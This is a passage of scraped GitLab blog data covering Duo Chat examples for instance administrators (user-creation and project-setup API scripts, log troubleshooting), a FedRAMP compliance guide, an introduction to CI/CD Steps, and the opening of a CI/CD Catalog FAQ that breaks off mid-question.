new users from an acquired company. The data is in a CSV file. How can we automate this process? I am an Admin, can I use a Python script for this?***\n\nChat: ***You can use GitLab's API for bulk user creation. Here's a Python script to get you started:***\n\n```python\nimport requests\nimport csv\n\ndef create_user(username, email, name, password):\n    url = 'https://gitlab.example.com/api/v4/users'\n    headers = {'PRIVATE-TOKEN': 'your_access_token'}\n    data = {\n        'username': username,\n        'email': email,\n        'name': name,\n        'password': password,\n        'skip_confirmation': True\n    }\n    response = requests.post(url, headers=headers, data=data)\n    return response.status_code == 201\n\nwith open('new_users.csv', 'r') as f:\n    reader = csv.reader(f)\n    for row in reader:\n        username, email, name, password = row\n        if create_user(username, email, name, password):\n            print(f\"Created user: {username}\")\n        else:\n            print(f\"Failed to create user: {username}\")\n```\n***This script reads user data from a CSV file and creates users via the GitLab API. Remember to handle errors and rate limiting for large batches.***\n\n#### Project and group administration\n\nAdmin: ***We need to implement a standardized project structure across our organization. How can we automate this? Assume I am an admin. Write me a script to do this via the API.***\n\nChat: ***You can use GitLab's API to create a project template and then apply it to new projects. Here's a bash script to create a new project with a standard structure:***\n\n```\n#!/bin/bash\n\nTOKEN=\"your_access_token\"\nGROUP_ID=\"your_group_id\"\n\ncreate_project() {\n  curl --header \"PRIVATE-TOKEN: $TOKEN\" \\\n  --data \"name=$1&namespace_id=$GROUP_ID\" \\\n  \"https://gitlab.example.com/api/v4/projects\"\n}\n\nadd_file() {\n  curl --request POST --header \"PRIVATE-TOKEN: $TOKEN\" \\\n  --form \"branch=main\" \\\n  --form \"content=$2\" \\\n  --form \"commit_message=Add $1\" \\\n  \"https://gitlab.example.com/api/v4/projects/$3/repository/files/$1\"\n}\n\nPROJECT_ID=$(create_project \"New-Standardized-Project\" | jq '.id')\n\nadd_file \"README.md\" \"# Welcome to our standardized project\" $PROJECT_ID\nadd_file \".gitlab-ci.yml\" \"stages:\\n  - build\\n  - test\\n  - deploy\" $PROJECT_ID\nadd_file \"CONTRIBUTING.md\" \"## How to contribute to this project\" $PROJECT_ID\n\necho \"Project created with ID: $PROJECT_ID\"\n```\n\n***This script creates a new project with a README, a basic CI/CD configuration, and a CONTRIBUTING guide. You can expand this to include more files or even clone a template repository.***\n\n#### Performance optimization\n\nAdmin: ***Our merge request creation process is slow. How can we diagnose and improve this? Assume I am an admin.***\n\nChat: ***As an instance admin, there are a few potential areas you can investigate to diagnose and improve the merge request creation process:\nDatabase Performance: The provided quotes show some example SQL queries related to merge request metrics. Slow database queries can significantly impact merge request creation performance. You should review the database performance, indexes, and query plans for any queries involved in the merge request creation process.***\n\n- ***Background jobs: Merge request creation may involve background jobs (e.g., for data processing, notifications, etc.). If these jobs are backed up or running slowly, it can impact the overall merge request creation time. Check the background job queues and workers.***\n- ***Code optimization: Analyze the code responsible for merge request creation to identify any potential bottlenecks or inefficiencies. This could include things like unnecessary database queries, inefficient algorithms, or lack of caching.***\n- ***Resource utilization: Monitor the resource utilization (CPU, memory, disk I/O) of the GitLab application servers during merge request creation. High resource utilization can lead to performance degradation.***\n- ***Network performance: If your GitLab instance is distributed across multiple nodes or servers, network performance between these components can impact merge request creation times. Check for any network bottlenecks or latency issues.***\n- ***Caching: Ensure that appropriate caching mechanisms are in place and functioning correctly. Inefficient or incorrect caching can lead to unnecessary overhead during merge request creation.***\n- ***Load testing: Perform load testing to simulate real-world scenarios and identify any performance bottlenecks or scalability issues that may arise under high load.***\n- ***Logging and monitoring: Enable detailed logging and monitoring for the merge request creation process. This can help identify specific areas of slowness or bottlenecks.***\n\n***To effectively diagnose and improve the merge request creation process, you'll likely need to combine multiple techniques, such as profiling, code analysis, database optimization, and load testing. Additionally, consulting the GitLab documentation and community resources can provide valuable insights and best practices specific to your GitLab version and configuration.***\n\n#### Troubleshooting complex issues\n\nAdmin: ***We're experiencing intermittent 502 errors on our GitLab instance. How can we troubleshoot this? I am an instance admin, how can I check the logs to find answers?***\n\nChat: ***To troubleshoot intermittent 502 errors on your GitLab instance as an admin, you can follow these steps:***\n\n***1. Check the main GitLab logs while reproducing the issue by running:***\n\n```\nsudo gitlab-ctl tail | tee /tmp/\u003Ccase-ID-and-keywords>.log\n```\n\n***2. Press Ctrl+C to stop tailing the logs.***\n\n***3. Run GitLabSOS to gather broader diagnostics about your instance:***\n\n```\nsudo /opt/gitlab/embedded/bin/gitlab-sos\n```\n\n***4. Use the fast-stats tool to analyze performance statistics from the logs:***\n\n```\nsudo /opt/gitlab/embedded/bin/fast-stats /var/log/gitlab/gitlab-rails/production.log\n```\n\n***5.Look for relevant log entries using the correlation ID that is present in most requests.***\n\n***6. Check the Pages logs (gitlab_pages_error.log) for any specific errors related to Pages communication issues with the GitLab API or loopback timeouts if using an AWS Network Load Balancer.***\n\n***7. Ensure your gitlab-secrets.json file is synced across all GitLab Pages instances if using `domain_config_source=auto`.***\n\n***8. If using systemd, configure GitLab Pages to listen on an explicit IP and port to avoid /tmp being cleaned up.***\n\n## Get started with GitLab Duo Chat\n\nGitLab Duo Chat is a powerful ally for administrators of self-managed GitLab instances. By leveraging its capabilities, you can tackle complex tasks more efficiently, learn new techniques, and ultimately become a more effective GitLab administrator.\n\nWe encourage you to experiment with Chat in your administrative workflows. Remember to use it responsibly and always verify the solutions it provides.\n\n> [Try GitLab Duo free for 60 days](https://about.gitlab.com/solutions/gitlab-duo-pro/sales/).\n\n### Resources\n- [GitLab Duo documentation](https://docs.gitlab.com/ee/user/gitlab_duo/)\n- [GitLab Rails Console Cheat Sheet](https://docs.gitlab.com/ee/administration/operations/rails_console.html)\n- [GitLab API documentation](https://docs.gitlab.com/ee/api/)\n- [10 best practices for using AI-powered GitLab Duo Chat](https://about.gitlab.com/blog/10-best-practices-for-using-ai-powered-gitlab-duo-chat/)\n- [GitLab Duo Chat 101: Get more done on GitLab with our AI assistant](https://about.gitlab.com/blog/gitlab-duo-chat-101-get-more-done-on-gitlab-with-our-ai-assistant/)\n",[790,696,479,754,695],{"slug":4986,"featured":92,"template":678},"mastering-gitlab-admin-tasks-with-gitlab-duo-chat","content:en-us:blog:mastering-gitlab-admin-tasks-with-gitlab-duo-chat.yml","Mastering Gitlab Admin Tasks With Gitlab Duo Chat","en-us/blog/mastering-gitlab-admin-tasks-with-gitlab-duo-chat.yml","en-us/blog/mastering-gitlab-admin-tasks-with-gitlab-duo-chat",{"_path":4992,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":4993,"content":4999,"config":5004,"_id":5007,"_type":16,"title":5008,"_source":17,"_file":5009,"_stem":5010,"_extension":20},"/en-us/blog/gitlab-patch-release-17-2-2-17-1-4-17-0-6",{"title":4994,"description":4995,"ogTitle":4994,"ogDescription":4995,"config":4996,"ogImage":3431,"ogUrl":4997,"ogSiteName":1180,"ogType":1181,"canonicalUrls":4997,"schema":4998},"GitLab Patch Release: 17.2.2, 17.1.4, 17.0.6","Learn more about GitLab Patch Release: 17.2.2, 17.1.4, 17.0.6 for GitLab Community Edition (CE) and Enterprise Edition (EE).\n\n",{"noIndex":92},"https://about.gitlab.com/blog/gitlab-patch-release-17-2-2-17-1-4-17-0-6","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab Patch Release: 17.2.2, 17.1.4, 17.0.6\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Costel Maxim\"}],\n        \"datePublished\": \"2024-08-07\",\n      }",{"title":4994,"description":4995,"authors":5000,"heroImage":3431,"date":5001,"body":5002,"category":674,"tags":5003},[1162],"2024-08-07","This is the post for [GitLab Patch Release: 17.2.2, 17.1.4, 17.0.6](https://about.gitlab.com/releases/2024/08/07/patch-release-gitlab-17-2-2-released/).",[1464,695],{"slug":5005,"featured":6,"template":678,"externalUrl":5006},"gitlab-patch-release-17-2-2-17-1-4-17-0-6","https://about.gitlab.com/releases/2024/08/07/patch-release-gitlab-17-2-2-released/","content:en-us:blog:gitlab-patch-release-17-2-2-17-1-4-17-0-6.yml","Gitlab Patch Release 17 2 2 17 1 4 17 0 6","en-us/blog/gitlab-patch-release-17-2-2-17-1-4-17-0-6.yml","en-us/blog/gitlab-patch-release-17-2-2-17-1-4-17-0-6",{"_path":5012,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":5013,"content":5018,"config":5022,"_id":5024,"_type":16,"title":5025,"_source":17,"_file":5026,"_stem":5027,"_extension":20},"/en-us/blog/how-gitlab-supports-the-fedramp-authorization-journey",{"title":5014,"description":5015,"ogTitle":5014,"ogDescription":5015,"noIndex":6,"ogImage":1219,"ogUrl":5016,"ogSiteName":1180,"ogType":1181,"canonicalUrls":5016,"schema":5017},"How GitLab supports the FedRAMP authorization journey","This comprehensive guide dives into the FedRAMP certification process, explaining how GitLab offers guidance and best practices for configuration and compliance.","https://about.gitlab.com/blog/how-gitlab-supports-the-fedramp-authorization-journey","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How GitLab supports the FedRAMP authorization journey\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Christian Nnachi\"}],\n        \"datePublished\": \"2024-08-07\",\n      }",{"title":5014,"description":5015,"authors":5019,"heroImage":1219,"date":5001,"body":5020,"category":674,"tags":5021},[3493],"The Federal Risk and Authorization Management Program (FedRAMP) is a U.S. government program that standardizes security assessment, authorization, and continuous monitoring for cloud products and services. Achieving FedRAMP authorization allows cloud service providers (CSPs) to offer their services to federal agencies, ensuring that these services meet stringent security and privacy requirements.\n\nIn this article, you'll learn how to GitLab can help guide you on your FedRAMP authorization journey, including:\n* the key steps of the FedRAMP certification process\n* highlights of GitLab’s role in supporting FedRAMP requirements\n* best practices for configuration and compliance\n\nBy leveraging GitLab’s features and adhering to recommended practices, organizations can streamline their path to FedRAMP authorization and ensure secure and compliant software development.\n\n## Key requirements and compliance levels\n\nFedRAMP categorizes security requirements into [three levels based on the impact of data](https://www.fedramp.gov/understanding-baselines-and-impact-levels/) being handled:\n\n* **Low:** Impact on operations, assets, or individuals is limited.\n* **Moderate:** Impact on operations, assets, or individuals is serious.\n* **High:** Impact on operations, assets, or individuals is severe or catastrophic.\n\n## Security and privacy controls from NIST 800-53\n\nFedRAMP's security controls are derived from the [National Institute of Standards and Technology (NIST) Special Publication 800-53](https://csrc.nist.gov/pubs/sp/800/53/r5/upd1/final). Key areas include:\n\n* **Vulnerability scanning and patching SLAs:** Regular scanning and timely patching of vulnerabilities.\n* **Secure software supply chain:** Ensuring that the software and its components are secure.\n* **Change management:** Restricting unauthorized software or system changes through merge request (MR) approval rules.\n\n## Importance of FedRAMP for organizations\n\nFor CSPs, achieving FedRAMP authorization is crucial for doing business with federal agencies. Authorized services are listed on the [FedRAMP Marketplace](https://marketplace.fedramp.gov/products), enhancing their visibility and credibility.\n\n## Steps to achieve FedRAMP certification\n\nThe FedRAMP process is evolving, and a [new roadmap](https://www.fedramp.gov/2024-03-28-a-new-roadmap-for-fedramp/) has been introduced. To stay up to date on the latest changes, [subscribe to General Service Administration (GSA) list](https://public.govdelivery.com/accounts/USGSA/subscriber/new).\n\n### Walkthrough of the certification process\n\n#### 1\\. **Preparation and readiness**\n\n* **Preparation**\n  * Understand FedRAMP requirements and prepare documentation.\n* **Readiness assessment**\n  * CSPs can pursue the optional FedRAMP Ready designation by working with an accredited Third-Party Assessment Organization (3PAO). The 3PAO conducts a readiness assessment and documents the CSP's capability to meet federal security requirements in the Readiness Assessment Report (RAR).\n* **Pre-authorization**\n  * CSPs formalize partnerships with an agency as outlined in the FedRAMP Marketplace: Designations for Cloud Service Providers.\n  * CSPs prepare for the authorization process by making necessary technical and procedural adjustments to meet federal security requirements and prepare the required security deliverables for authorization.\n\n#### 2\\. **Authorization package submission and assessment**\n\n* **Authorization package submission**\n  * Historically: Submit the assessment package to the FedRAMP Joint Authorization Board (JAB) or a federal agency sponsor.\n  * [**New process**](https://www.fedramp.gov/2024-03-28-a-new-roadmap-for-fedramp/)**:** Submit to the FedRAMP Board within the GSA, replacing the JAB. The process integrates Agile principles and uses threat-based analysis for control selection and implementation.\n* **Full security assessment**\n  * The 3PAO conducts an independent audit of the CSP's system. Before this, the CSP should complete the System Security Plan (SSP) and have it reviewed and approved by the agency customer.\n  * The 3PAO develops the Security Assessment Plan (SAP) with input from the authorizing agency. After testing, the 3PAO creates a Security Assessment Report (SAR) detailing their findings and providing a recommendation for FedRAMP Authorization.\n* **Agency authorization process**\n  * The agency reviews the security authorization package, including the SAR, and may require CSP remediation.\n  * The agency performs a risk analysis, accepts the risk, and issues an Authority to Operate based on its risk tolerance, with the option to implement, document, and test customer-responsible controls either before or after the ATO issuance.\n\n#### 3\\. **Post-authorization and continuous monitoring**\n\n* **Continuous monitoring**\n  * The continuous monitoring phase involves post-authorization activities to maintain FedRAMP-compliant security authorization.\n* **New tool**\n  * [**automate.fedramp.gov**](https://www.fedramp.gov/2024-07-11-new-website-launch-automate-fedramp-gov/)**:** Provides detailed technical documentation, best practices, and guidance for creating and managing digital authorization packages with Open Security Controls Assessment Language ([OSCAL](https://pages.nist.gov/OSCAL/)). It supports a digital-first approach, offering faster documentation updates, enhanced user experience, and community collaboration.\n\nDetailed steps are available on the [FedRAMP Agency Authorization page](https://www.fedramp.gov/agency-authorization/). \n\n### Common challenges and pitfalls\n\n1. **Vulnerability management:** Ensuring timely and effective vulnerability management.\n2. **System boundaries:** Clearly defining and documenting system boundaries.\n3. **Software security practices:** Implementing and maintaining robust software security practices.\n4. **FIPS 140-2 cryptography:** Ensuring cryptographic modules are FIPS 140-2 compliant (details available in [GitLab's FIPS Compliance documentation](https://docs.gitlab.com/ee/development/fips_compliance.html)).\n\n## Role of self-managed GitLab in FedRAMP compliance\n\n### Supporting FedRAMP requirements\n\nSelf-managed GitLab can play a critical role in achieving FedRAMP compliance by providing tools and features that support secure code development and deployment within FedRAMP authorization boundaries.\n\n### Specific features of GitLab aligned with FedRAMP standards\n\n1\\. **Security configuration**\n\nYou can configure [CI/CD pipelines](https://docs.gitlab.com/ee/topics/build_your_application.html) to continuously test code while it ships and simultaneously enforce security policies. GitLab includes a suite of security tools that you can incorporate into the development of customer applications, including but not limited to:\n\n* [Security configuration](https://docs.gitlab.com/ee/user/application_security/configuration/index.html)\n* [Container scanning](https://docs.gitlab.com/ee/user/application_security/container_scanning/index.html)\n* [Dependency scanning](https://docs.gitlab.com/ee/user/application_security/dependency_scanning/index.html)\n* [Static application security testing](https://docs.gitlab.com/ee/user/application_security/sast/index.html)\n* [Infrastructure as code (IaC) scanning](https://docs.gitlab.com/ee/user/application_security/iac_scanning/index.html)\n* [Secret detection](https://docs.gitlab.com/ee/user/application_security/secret_detection/index.html)\n* [Dynamic application security testing (DAST)](https://docs.gitlab.com/ee/user/application_security/dast/index.html)\n* [API fuzzing](https://docs.gitlab.com/ee/user/application_security/api_fuzzing/index.html)\n* [Coverage-guided fuzz testing](https://docs.gitlab.com/ee/user/application_security/coverage_fuzzing/index.html)\n\n2\\. **Access control and authentication**\n\nAccess management in a GitLab deployment varies for each customer. GitLab offers extensive documentation on deployments using both identity providers and GitLab's native authentication configurations. It is crucial to evaluate your organization's specific requirements before deciding on an authentication approach for your GitLab instance.\n\n3\\. **[Identity providers](https://docs.gitlab.com/ee/security/hardening_nist_800_53.html#identity-providers)**\n\nTo comply with FedRAMP requirements, ensure your existing identity provider is FedRAMP-authorized and listed on the FedRAMP Marketplace, and for requirements like personal identity verification (PIV), use an identity provider rather than relying on native authentication in self-managed GitLab.\n\n4\\. **[Native GitLab user authentication configurations](https://docs.gitlab.com/ee/security/hardening_nist_800_53.html#native-gitlab-user-authentication-configurations)**\n\nGitLab enables administrators to monitor users with different levels of sensitivity and access requirements.\n\n5\\. [**Audits and accountability**](https://docs.gitlab.com/ee/administration/audit_event_streaming/)\n\nGitLab provides a wide array of security events and streaming capabilities for comprehensive logging and monitoring that can be routed to a Security Information and Event Management (SIEM) solution.\n\n* [Event types](https://docs.gitlab.com/ee/security/hardening_nist_800_53.html#event-types)\n\n6\\. **Incident response**\n\nAfter configuring audit events, it's crucial to monitor them. GitLab offers [tools](https://docs.gitlab.com/ee/operations/incident_management/index.html) for alert management, incident tracking, and status reporting through a centralized interface, allowing you to compile system alerts from SIEM or other security tools, triage incidents, and keep stakeholders informed.\n\n* [alerts](https://docs.gitlab.com/ee/operations/incident_management/alerts.html)\n* [incidents](https://docs.gitlab.com/ee/operations/incident_management/incidents.html)\n* [on-call schedules](https://docs.gitlab.com/ee/operations/incident_management/oncall_schedules.html)\n* [status page](https://docs.gitlab.com/ee/operations/incident_management/status_page.html)\n\n7\\. **Configuration management**\n\nAt its core, GitLab meets [configuration management](https://docs.gitlab.com/ee/security/hardening_nist_800_53.html#configuration-management-cm) needs with robust CI/CD pipelines, approval workflows, and change control, primarily using issues and MRs to manage changes.\n\n8\\. **Federal Information Processing Standard (FIPS) compliance**\n\nGitLab supports [FIPS compliance](https://docs.gitlab.com/ee/development/fips_compliance.html) by offering versions that use FIPS-validated cryptographic modules such as OpenSSL, BoringSSL, or other CMVP-validated modules. This ensures that cryptographic operations meet FIPS requirements, making it suitable for use in environments that require high levels of security compliance, such as those seeking FedRAMP authorization. Additionally, GitLab's documentation provides detailed instructions for installing and configuring FIPS-compliant deployments, including a hybrid approach using omnibus and cloud native components.\n\n9\\. [**NIST 800-53 R5 security and privacy controls management project template**](https://gitlab.com/gitlab-org/project-templates/nist_80053r5)\n\nThe project template helps track and manage compliance with NIST 800-53 R5 using GitLab issues, based on [NIST 800-53R5 specifications](https://csrc.nist.gov/pubs/sp/800/53/r5/upd1/final). It includes pre-configured issues, issue boards, and a notional example pipeline to run tests using OpenSCAP (OSCAP) and update issues with artifacts and labels, creating a controls management project within GitLab. This template centralizes compliance efforts, automates control testing, and facilitates a seamless workflow for both project teams and auditors.\n\n## Best practices for using GitLab in the FedRAMP process\n\n### Recommended configurations and setups\n\nTo align self-managed GitLab with NIST 800-53 controls and FedRAMP requirements, consider the following best practices:\n\n1. **Security hardening:** Follow GitLab’s [security hardening guidance](https://docs.gitlab.com/ee/security/hardening_nist_800_53.html).\n2. **Access control:** Implement role-based access control (RBAC) and enforce [the principle of least privilege](https://about.gitlab.com/blog/the-ultimate-guide-to-least-privilege-access-with-gitlab/).\n3. **CI/CD pipelines:** Configure pipelines to include security testing and approval stages.\n4. **Audit logging:** Enable comprehensive audit logging and integrate with a SIEM system.\n5. **Backup and recovery:** Establish robust backup and recovery processes.\n\n### NIST 800-53 compliance\n\nGitLab provides various compliance features to help automate critical controls and workflows. Administrators should work with customer solutions architects to configure GitLab instances to meet applicable [NIST 800-53 controls](https://docs.gitlab.com/ee/security/hardening_nist_800_53.html).\n\n## Start your FedRAMP compliance journey\n\nAchieving FedRAMP authorization is a complex but strategic process for CSPs looking to provide services to federal agencies. Self-managed GitLab offers a comprehensive suite of tools and features that can support this journey, ensuring secure and compliant software development and operations. By following best practices and leveraging GitLab’s capabilities, organizations can navigate the challenges of FedRAMP compliance and successfully achieve authorization.\n\n> Learn more about [GitLab's solutions for the public sector](https://about.gitlab.com/solutions/public-sector/).",[696,185,943],{"slug":5023,"featured":92,"template":678},"how-gitlab-supports-the-fedramp-authorization-journey","content:en-us:blog:how-gitlab-supports-the-fedramp-authorization-journey.yml","How Gitlab Supports The Fedramp Authorization Journey","en-us/blog/how-gitlab-supports-the-fedramp-authorization-journey.yml","en-us/blog/how-gitlab-supports-the-fedramp-authorization-journey",{"_path":5029,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":5030,"content":5035,"config":5041,"_id":5043,"_type":16,"title":5044,"_source":17,"_file":5045,"_stem":5046,"_extension":20},"/en-us/blog/introducing-ci-cd-steps-a-programming-language-for-devsecops-automation",{"title":5031,"description":5032,"ogTitle":5031,"ogDescription":5032,"noIndex":6,"ogImage":3336,"ogUrl":5033,"ogSiteName":1180,"ogType":1181,"canonicalUrls":5033,"schema":5034},"Introducing CI/CD Steps, a programming language for DevSecOps automation","Inside GitLab’s vision for CI/CD programmability and a look at how we simplified workflow automation.","https://about.gitlab.com/blog/introducing-ci-cd-steps-a-programming-language-for-devsecops-automation","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Introducing CI/CD Steps, a programming language for DevSecOps automation\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Darren Eastman\"}],\n        \"datePublished\": \"2024-08-06\",\n      }",{"title":5031,"description":5032,"authors":5036,"heroImage":3336,"date":5038,"body":5039,"category":695,"tags":5040},[5037],"Darren Eastman","2024-08-06","For years, the DevOps industry has tried to simplify how developers create automation scripts or workflows to automatically test a code change and to perform a task with the resulting artifact or binary. Today, we are introducing [CI/CD Steps](https://docs.gitlab.com/ee/ci/steps/), a programming language for DevSecOps automation in experiment phase, as a solution to this challenge. With CI/CD Steps, software development teams can easily create complex automation workflows within GitLab.\n\n## The path to CI/CD Steps\n\nEarly in the company's history, GitLab founders and engineers decided that there must be a tight integration between source code management, the place you store your code, and continuous integration, the automation workflows that test your code changes. And we've continued to evolve that integration, focusing on workflow automation tasks and differentiating from the approaches of CI engines across the industry, including Jenkins CI's domain-specific language, GitHub Actions, and many more. \n\nAnd, yes, I did mean to use the term workflow automation tasks rather than [CI and continuous deployment (CD)](https://about.gitlab.com/topics/ci-cd/). This is simply a result of the code that I have seen our customers develop. In a lot of cases, the platform engineering teams that support development teams using GitLab are writing complex automation scripts (workflows). So we need to embrace a more expansive construct beyond simply CI and CD. In fact, I have seen some developers rave about the flexibility of new CI/CD solutions that allow for modularity and conditionals in writing automation workflows.\n\nAt GitLab, our initial approach for CI authoring was based on YAML. We can endlessly debate the pros and cons of such a choice, but for me, as a [DevOps](https://about.gitlab.com/topics/devops/) practitioner coming from a large Fortune 50 company with a moshpit of Jenkins Groovy code and hundreds of permutations of scripts basically performing the same job, the GitLab CI authoring and execution approach was a breath of fresh air. \n\nThe first time I read a GitLab CI file – this was back in mid-2019 – my first thought was, \"No, it could not be that simple.\" A non-developer can easily grasp the intent of a basic GitLab CI pipeline without prior knowledge of all of the intricacies of the syntax of the execution model. In fact, I had just spent a year working on a team that spent several hours each day helping other development teams debug Jenkins pipelines written in Groovy and trying to figure out how to test, and in some cases build, large Java monoliths; in other cases, tons of microservices.\n\nWhile there are benefits to a GitLab CI YAML-based authoring and a bash script execution type approach, there are also limitations. Limitations that developers or platform engineers bump into as they integrate more complex workflows into their CI pipelines. These issues seem to be amplified at enterprise scale as platform teams are trying to simplify or standardize workflows across multiple development teams. In fact, one of the quotes from a recent customer survey states: “GitLab needs to embrace a post-YAML world for CI.”\n\nSo, over the past two years, our pipeline authoring team, led by Product Manager [Dov Hershkovitch](https://gitlab.com/dhershkovitch), has been working extensively on improving the pipeline authoring experience. They've also been improving the management experience of the building blocks for workflow automation – especially at scale. In fact, a part of this work, the [GitLab CI/CD Catalog](https://about.gitlab.com/blog/ci-cd-catalog-goes-ga-no-more-building-pipelines-from-scratch/), recently became generally available.\n\nThe logical next step was to build a new language for workflow automation.\n\n## Understanding CI/CD Steps\n\nGitLab CI/CD Steps is a concept incubated by our top-notch engineers. In [our documentation](https://docs.gitlab.com/ee/ci/steps/), we describe CI/CD Steps as reusable and composable pieces of a CI job that can be referenced in a GitLab CI pipeline configuration. But what does that really mean and what is the long-term value proposition?\n\nAs I was giving this some thought, a comment from one of our customers (paraphrased here) came to mind:\n\n“CI/CD Steps enables you to compose inputs and outputs for a CI/CD job. With CI/CD Steps, developers can define inputs and outputs and, therefore, use CI/CD Steps as a function as we do in any modern programming language. A key differentiator to a normal CI/CD component is that CI/CD Steps allows the use of the outputs of other steps without GitLab having to know certain values before running the pipeline. With CI/CD Steps, you could more easily auto-cancel redundant jobs when all jobs are running as part of the parent pipeline versus having to use child pipelines.”\n\nHaving CI/CD Steps alongside the current GitLab CI/CD execution mechanism and the [CI/CD component catalog](https://docs.gitlab.com/ee/ci/components/index.html) unlocks so many possibilities for creating and maintaining the most complex CI/CD workflows. \n\nA key feature is reusability. Now, I am not suggesting that once we release CI/CD Steps as generally available, you would immediately start refactoring your currently working CI/CD jobs to CI/CD Steps. Instead, you likely will find opportunities to introduce CI/CD Steps to optimize complex pipeline workflows, and, in doing so, you will begin to reuse a CI/CD Step that you author in multiple pipelines.\n\nCI/CD Steps is a marathon, not a sprint. When we release this in beta (currently targeted for late 2024) and start getting feedback from you, we will learn new information that will guide the evolution of this new CI programming language as well as the new Step Runner, which is designed specifically to run CI/CD Steps alongside the current CI/CD jobs.\n\nI'm sure there will be questions about our strategy: Why did we make certain syntax choices? Why didn't we use Starlark as the basis for this new approach? Why did we create something new that we all have to learn? My boilerplate response is: At GitLab we develop our software in the open. More importantly, as a customer, user, and community member, if you have an idea of how to make it better, we invite you to create a merge request so we can improve this feature together.\n\nWe are the only enterprise software platform where, as users and customers, **you** have a direct say in how the platform evolves and **you** can see the changes happening transparently and in real time. That’s the power of GitLab – we iterate and we collaborate. You have invested in a platform and community that is able to evolve with the ever-changing software industry.\n\n## Create your own CI/CD step\n\nTo get a deeper understanding of CI Steps and our direction, take a look at the detailed refactoring proof-of-concept writeup in [this issue](https://gitlab.com/gitlab-org/step-runner/-/issues/85). [Principal engineer Joe Burnett](https://gitlab.com/josephburnett) walks through in great detail the thought process for refactoring a CI/CD job used as part of our GitLab Runner automated test framework. There are also recommendations noted at the end that will inform the evolution of the CI Steps syntax.\n\nThen check out the [CI/CD Steps tutorial](https://docs.gitlab.com/ee/tutorials/setup_steps/) and try creating your own CI/CD step. We recently released the `run` keyword, so testing out a CI/CD step will be simpler than previous examples that required using environment variables. This feature set is experimental so please share your experiences on the [feedback issue](https://gitlab.com/gitlab-org/gitlab/-/issues/460057). There also is a separate feedback issue if you are testing the [Run GitHub Actions with CI/CD Steps experimental feature](https://docs.gitlab.com/ee/ci/steps/#actions).\n\nWe look forward to working with you on this journey to continuously improve the GitLab CI/CD authoring experience.\n\n## Read more\n- [CI/CD Catalog goes GA](https://about.gitlab.com/blog/ci-cd-catalog-goes-ga-no-more-building-pipelines-from-scratch/)\n- [FAQ: GitLab CI/CD Catalog](https://about.gitlab.com/blog/faq-gitlab-ci-cd-catalog/)\n- [What is CI/CD?](https://about.gitlab.com/topics/ci-cd/)\n- [The basics of CI](https://about.gitlab.com/blog/basics-of-gitlab-ci-updated/)\n",[479,110,1385,1384,754],{"slug":5042,"featured":92,"template":678},"introducing-ci-cd-steps-a-programming-language-for-devsecops-automation","content:en-us:blog:introducing-ci-cd-steps-a-programming-language-for-devsecops-automation.yml","Introducing Ci Cd Steps A Programming Language For Devsecops Automation","en-us/blog/introducing-ci-cd-steps-a-programming-language-for-devsecops-automation.yml","en-us/blog/introducing-ci-cd-steps-a-programming-language-for-devsecops-automation",{"_path":5048,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":5049,"content":5055,"config":5060,"_id":5062,"_type":16,"title":5063,"_source":17,"_file":5064,"_stem":5065,"_extension":20},"/en-us/blog/faq-gitlab-ci-cd-catalog",{"title":5050,"description":5051,"ogTitle":5050,"ogDescription":5051,"noIndex":6,"ogImage":5052,"ogUrl":5053,"ogSiteName":1180,"ogType":1181,"canonicalUrls":5053,"schema":5054},"FAQ: GitLab CI/CD Catalog","Unlock the full potential of the CI/CD Catalog with expert tips and answers to common questions, including how to create and share components.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098783/Blog/Hero%20Images/Blog/Hero%20Images/cicdcover_5vLe737i4QfvAqv6PnqUaR_1750098782745.png","https://about.gitlab.com/blog/faq-gitlab-ci-cd-catalog","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"FAQ: GitLab CI/CD Catalog\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Itzik Gan Baruch\"},{\"@type\":\"Person\",\"name\":\"Dov Hershkovitch\"}],\n        \"datePublished\": \"2024-08-01\",\n      }",{"title":5050,"description":5051,"authors":5056,"heroImage":5052,"date":5057,"body":5058,"category":734,"tags":5059},[691,902],"2024-08-01","The [GitLab CI/CD Catalog](https://about.gitlab.com/blog/ci-cd-catalog-goes-ga-no-more-building-pipelines-from-scratch/), part of the DevSecOps platform, allows users to discover, reuse, and contribute [CI/CD](https://about.gitlab.com/topics/ci-cd/) components to make software development more efficient and productive. Recently, we hosted a CI/CD Catalog webinar that surfaced a host of helpful questions. This FAQ features some of those questions (and answers) and highlights the CI/CD Catalog's capabilities as well as best practices for using it in your environment.\n\n***When will the CI catalog components and inputs be available on Gitlab.com?***\n\nThe [CI catalog components and inputs became generally available](https://about.gitlab.com/blog/ci-cd-catalog-goes-ga-no-more-building-pipelines-from-scratch/) starting GitLab 17.0 (in GitLab.com and self-managed).  \n\n***What about versioning components? Often a pipeline is coupled with the code, and we want a way to re-run a release pipeline from an older version of the code. Do we have options for version components similarly to how we do the application?***\n\nWe have full support for version control – at any given time you can use any earlier version.\n\n***Can we have composite components that use multiple other components?***\n\nAbsolutely! Here is an example of a deploy component that uses a validate component.\n\n![example of a deploy component that uses validate component](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098788/Blog/Content%20Images/Blog/Content%20Images/image1_aHR0cHM6_1750098788135.png)\n\n***What are the options for testing components?*** \n\nThere are several methods of testing components. The first method is mentioned in [the documentation](https://docs.gitlab.com/ee/ci/components/examples.html#test-a-component): Including a component using `$CI_COMMIT_SHA` (instead of version), you can test your component for every single commit. Another strategy is to use [child pipelines](https://docs.gitlab.com/ee/ci/pipelines/downstream_pipelines.html#parent-child-pipelines), which allows you to test a component with different inputs parameters. More details can be found in the [GitLab forum](https://forum.gitlab.com/t/ci-cd-component-testing-strategies/102983/2?u=leetickett-gitlab).\n\n***Can the component reference URL use a branch name as the version, similar to how docs show a tag (e.g., 